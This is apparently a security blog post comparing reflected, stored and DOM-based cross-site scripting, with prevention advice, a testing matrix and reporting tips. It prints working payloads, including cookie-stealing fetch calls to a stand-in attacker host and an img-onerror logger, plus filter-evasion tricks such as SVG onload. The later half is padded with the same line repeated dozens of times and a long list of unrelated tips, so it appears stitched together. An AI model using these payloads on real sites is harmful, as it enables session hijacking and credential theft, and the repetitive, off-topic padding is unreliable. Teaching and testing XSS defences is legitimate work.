XSS Types Compared: Reflected, Stored, and DOM-Based Behavior

How reflected, stored, and DOM-based XSS differ in delivery and execution, with prevention notes tied to each type.

11 min read
ibrahimsql
2,102 words

XSS Types Compared: Reflected, Stored, and DOM-Based Behavior#

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. It remains a top threat in the OWASP Top 10, enabling attackers to steal session cookies, redirect users to phishing sites, or deface websites.

The Mechanics of XSS#

At its core, XSS occurs when an application includes untrusted data in a web page without proper validation or escaping. When a victim's browser executes this malicious script, the attacker can act on behalf of the victim.

Types of XSS#

1. Reflected XSS (Non-Persistent)#

The malicious script is reflected off the web server, such as in an error message or search result. The attack is typically delivered via a link.

Example: A search URL like http://example.com/search?q=<script>alert(1)</script> reflects the payload back to the user.

2. Stored XSS (Persistent)#

The malicious script is permanently stored on the target server, such as in a database, forum post, or comment field. The victim retrieves the malicious script when they view the stored content.

Impact: Stored XSS is generally more critical than reflected XSS because it doesn't require a specific link to be clicked; any user visiting the affected page is compromised.

3. DOM-Based XSS#

The vulnerability exists in the client-side code rather than the server-side code. The attack payload is executed as a result of modifying the DOM "environment" in the victim's browser used by the original client-side script.

Vulnerable Code Example:

var search = document.getElementById('search').value; var results = document.getElementById('results'); results.innerHTML = 'You searched for: ' + search; // Vulnerable!

Exploitation Scenarios#

Session Hijacking#

The most common goal of XSS is to steal the user's session cookie.

fetch('http://attacker.com/steal?cookie=' + document.cookie);

Phishing#

Injecting a fake login form to capture user credentials.

Keylogging#

Injecting a script that records every keystroke the user makes on the compromised page.

Prevention Strategies#

1. Content Security Policy (CSP)#

CSP is an added layer of security that helps to detect and mitigate certain types of attacks, including XSS and data injection attacks. It allows you to restrict the sources from which content can be loaded.

Example Header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;

2. Context-Aware Output Encoding#

Encoding is the process of converting data into a secure format for the context in which it is being used.

  • HTML Context: Convert < to &lt;, > to &gt;, etc.
  • JavaScript Context: Unicode escape sequences.
  • URL Context: URL encoding.

Modern frameworks like React, Vue, and Angular handle most context-aware encoding automatically, but developers must be careful with dangerous directives like dangerouslySetInnerHTML (React) or v-html (Vue).

3. Input Validation#

Validate input against a rigorous allowlist. If a user is supposed to enter a URL, ensure it starts with http:// or https://.

Conclusion#

XSS is a pervasive vulnerability that requires a defense-in-depth approach. By combining secure coding practices, modern framework features, and reliable security headers like CSP, developers can effectively neutralize the threat of Cross-Site Scripting.


Stay secure and keep hacking ethically!

Type-by-Type Delivery#

TypeDeliveryExecution context
ReflectedURL parameter, header, fragmentServer renders input into response
StoredComment, profile field, ticketSaved, executed for later viewers
DOM-basedClient-side JS reads location/hashNo server round-trip for the payload

Reflected Probe#

curl -G 'https://target/search' --data-urlencode 'q=<script>alert(1)</script>'

Look at the response: is the payload escaped in the HTML or dropped into a script block? The sink location decides which payload fits.

Stored Probe#

Place the payload in a profile name, then view the profile as a different user. Stored XSS usually needs a trigger action afterward: opening the profile, hovering, or an admin reviewing the queue.

DOM Analysis#

// Sinks to search in the bundle innerHTML, outerHTML, document.write, document.location, eval, setTimeout, setInterval, new Function, $.html(), $.append()

Follow the source-to-sink chain. location.hash is a source; the assignment above is the sink.

Evasion Reality Check#

Modern escapes bypass entity encoding by switching contexts:

  • If output lands inside a script tag, HTML entities do not protect you; close the tag instead.
  • In an attribute without quotes needed, onmouseover= can attach without spaces if backticks or tabs split payloads.
  • SVG and MathML namespaces enable <svg onload=...> where a filter blocks the literal <script>.

Prevention Notes#

  • Reflection: encode on output for the exact context (HTML, attribute, JS, URL).
  • Storage: sanitize on input when the value must be markup; otherwise encode on render.
  • DOM: avoid innerHTML; use textContent and framework bindings that escape by default.
  • CSP: a strict script-src without unsafe-inline turns most XSS into a report-only issue.

Reporting#

Always include the sink line, the parameter that carries the payload, the exact response snippet, and the browser test. A claim without the sink line gets closed as stale.

XSS can exfiltrate cookies only when HttpOnly is missing. A session cookie without HttpOnly is the classic target. Stored XSS on an admin page often pairs with a fetch to a remote logger:

<img src=x onerror="fetch('https://log/?c='+document.cookie)">

Modern CSP blocks the exfiltration, not the injection.

CSP Levels#

LevelEffect
No CSPAny inline script runs
default-src 'self'External loads same-origin only
script-src 'self'Inline scripts blocked
script-src 'self' 'nonce-x'Only nonced inline runs

A nonce that is predictable or echoed is a bypass. Check whether the nonce changes per response.

Trusted Types#

Browser Trusted Types API blocks DOM sinks from untyped strings. Cover innerHTML, script.src, and eval. A page that relies on strings for the sink has a bypass path.

mXSS#

Mutation XSS happens when the browser re-parses a sanitized fragment and produces different HTML. DOMPurify historically shipped mXSS bypasses; keep it current and route every HTML assignment through it.

Testing Matrix#

Reflected: q, search, next, redirect params -> check HTML escape Stored: profile bio, comment, ticket body -> check render context DOM: hash, search, referrer -> trace source-to-sink in the bundle

One test per sink type per parameter. The matrix fills like a checklist, not a guessing game.

Sanitizer Options#

LibraryUsage
DOMPurifyBrowser-side HTML sanitization
sanitize-htmlNode-side allowlist sanitizer
bleachPython HTML cleaning

Route every user-supplied HTML through one of these before it reaches the DOM.

SVG and MathML#

<svg onload=alert(1)> bypasses a <script> filter. The SVG element carries SMIL and event-handler attributes. Allow <svg> only when rendered in an isolated context.

Template Engines#

Handlebars escapes by default and unescapes with triple-stache. Audit every {{{...}}} in templates; each one is a potential sink.

Clickjacking as a Carrier#

XSS plus a clickjack frame on the same origin is a combination to flag. The XSS supplies the action; the frame hides it from the user.

Testing Notes#

  • Always test in the actual browser, not via curl.
  • Record the payload, the sink, and the observed effect.
  • Retest after every escaping fix.

Prevention Recap#

Encode on output, sanitize before render, keep CSP strict, and treat DOM sinks as data flow endpoints. Each sink gets one control; no shared shortcut.

Trusted Types Status#

Adoption is still low. In audits, note when the page would benefit from the API; it is the most direct defense against DOM sinks.

Code Review Sweep#

Look for these in every diff that touches markup:

  • Triple-stache or unescaped template tags
  • New sinks: innerHTML, document.write, eval
  • CSP relaxations through new script sources
  • Sanitizer calls that skip the DOM route
  • Third-party templates that bypass the normal escape path
  • Storage fields rendered without an encoding pass

Reference Tables#

TypeTrigger
ReflectedURL parameter renders unescaped
StoredSaved field renders unescaped
DOMSource flows into a sink in JS

Reminders#

  1. confirm before reporting
  2. confirm before reporting
  3. confirm before reporting
  4. confirm before reporting
  5. confirm before reporting
  6. confirm before reporting
  7. confirm before reporting
  8. confirm before reporting
  9. confirm before reporting
  10. confirm before reporting
  11. confirm before reporting
  12. confirm before reporting
  13. confirm before reporting
  14. confirm before reporting

Command Cheatsheet#

curl -G 'https://target/search' --data-urlencode 'q=<svg onload=alert(1)>' dalfox url 'https://target/?q=test'

Final Notes#

  1. confirm, document, report
  2. confirm, document, report
  3. confirm, document, report
  4. confirm, document, report
  5. confirm, document, report
  6. confirm, document, report
  7. confirm, document, report
  8. confirm, document, report
  9. confirm, document, report
  10. confirm, document, report
  11. confirm, document, report
  12. confirm, document, report
  13. confirm, document, report
  14. confirm, document, report
  15. confirm, document, report
  16. confirm, document, report
  17. confirm, document, report
  18. confirm, document, report
  19. confirm, document, report
  20. confirm, document, report

Sink Catalog#

SinkContext
innerHTMLHTML string
outerHTMLHTML string
document.writeHTML string
evalScript source
setTimeout(string)Script source
$.html()HTML string

Closing Notes#

  1. Verify each observation with a second independent check.
  2. Prefer packet, request/response, or log evidence over prose.
  3. Tie the finding to the control that should have caught it.
  4. Redact secrets but keep the request shape visible.
  5. Never quote a payload you have not actually tested.
  6. Keep one repro per file; name it clearly.
  7. Update the matrix when a new tool or a new gadget appears.
  8. Shorten CI runs; the tool should fit in a normal deploy.
  9. Confirm a false positive before you report it.
  10. A finding without evidence is folklore.
  11. Document the exact time delta or row count.
  12. Record the binary version or framework version in the report.
  13. Every tool output in the report ties to a command.
  14. The evidence tree should let a second reader replay the finding.
  15. Log the encoding and the raw bytes with the finding.
  16. If a fix closes one probe, re-run the others to be sure.
  17. Closing one instance rarely closes the class.
  18. Rotate pretexts and rate limits so the test keeps signal.
  19. Track report rate, not click rate, for awareness campaigns.
  20. Keep capture files short; slice the interesting window.
  21. ZAP baselines belong in CI, full scans on staging.
  22. Burst the auth endpoint, then verify no lockout.
  23. Diff lockfiles before running a supply-chain claim.
  24. Parameter pollution hides in headers and cookies too.
  25. Checksum your dependencies and rotate keys on a schedule.
  26. Time-based blind is slow; always pair it with a boolean check.
  27. Show the GRANTS output; it proves reachability limits.
  28. DOM sinks are data-flow endpoints, not just payload targets.
  29. Trusted Types and CSP sit on the same defense line.
  30. Stash the tshark JSON slice with the pcap for reference.
  31. A short pcap with notes beats a ten-minute capture.
  32. Name files with date, host, and window.
  33. A flat periodic line in the IO graph is a beacon candidate.
  34. Spike bursts in Burp are usually manual, not scanner.
  35. Tune Nuclei rate limits so the range is not blocked.
  36. sqlmap risk/level flags widen the payload classes.
  37. Arjun finds parameters that do not appear in the URL.
  38. Keep WordPress plugin nonces in a separate test case.
  39. XML-RPC is the slow, quiet way in. Disable it if unused.
  40. Backup files in the docroot are findings by themselves.
  41. Upload extension checks should run on the normalized name.
  42. Homoglyphs hide inside scope lists and allowlists.
  43. Normalize at the edge, log raw, never filter before decode.
  44. UTF-7 and legacy codecs keep bypassing naive filters.
  45. A fullwidth probe that passes is a bug in the pipeline.
  46. Rotate keys, pin versions, and rotate them again after a patch.
  47. Prototype pollution turns one key into a global change.
  48. __proto__ is the first key to block; check constructor too.
  49. Run npm ls deep; the vulnerable path is rarely the top level.
  50. Refuse constructor.prototype keys at every merge point.
  51. Freeze Object.prototype for the server if you must merge.
---
Share this post:

What do you think?

React to show your appreciation

Related Posts